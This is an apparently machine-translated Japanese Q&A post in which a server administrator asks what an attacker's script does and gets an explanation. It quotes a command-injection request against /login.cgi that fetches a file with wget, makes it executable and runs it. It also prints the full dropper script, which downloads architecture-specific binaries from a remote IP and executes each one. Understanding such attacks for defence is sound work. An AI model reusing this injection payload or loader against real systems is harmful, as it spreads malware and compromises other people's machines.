質問: このbashスクリプトは何をしますか? [ハック試行] 私は自分のサーバーでapacheがログに記録していることに気づいています。156.222.222.13 - - [08/sep/2018:04:27:24 +0200] "get /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-o%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ http/1.1" 400 0 "-" "lmao/2.0"そこで私はカスタムfail2banフィルタを作り、これらの/login.cgi urlを要求するipを禁止し始めました。しかし、私は彼らが何をしようとしているのかに興味があったので、私は彼らが実行しようとしているスクリプトを引っ張りました、そしてそれが正確に何をするのか理解できないようです。/varと/ tmpのarchフォルダを削除することについて何か?とにかく、ここにあります:#!/bin/sh u="asgknskjdgn" bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32" http_server="80.211.173.159" http_port=80 cd /tmp/||cd /var/ for name in $bin_names do rm -rf $u cp $shell $u chmod 777 $u >$u wget http://$http_server:$http_port/$name -o -> $u ./$u $name done
回答: wgetは重要な危険な行です。for name in $bin_namesはプラットフォームのリストを処理していて、各プラットフォームごとに一時ディレクトリをクリアし、シェルを上書きコピーして、誰でもアクセスできるようにしています。それはそれからwgetを使ってファイルをダウンロードして、それからそれがちょうどコピーしたシェルプログラムを使ってそれを実行します。このスクリプトは基本的に、実行可能なすべてのプラットフォーム用の一連の実行可能ファイルまたはスクリプトをダウンロードしようとし、さらにシステムを危険にさらす可能性があることを期待してそれらをシステムに擦り付けます。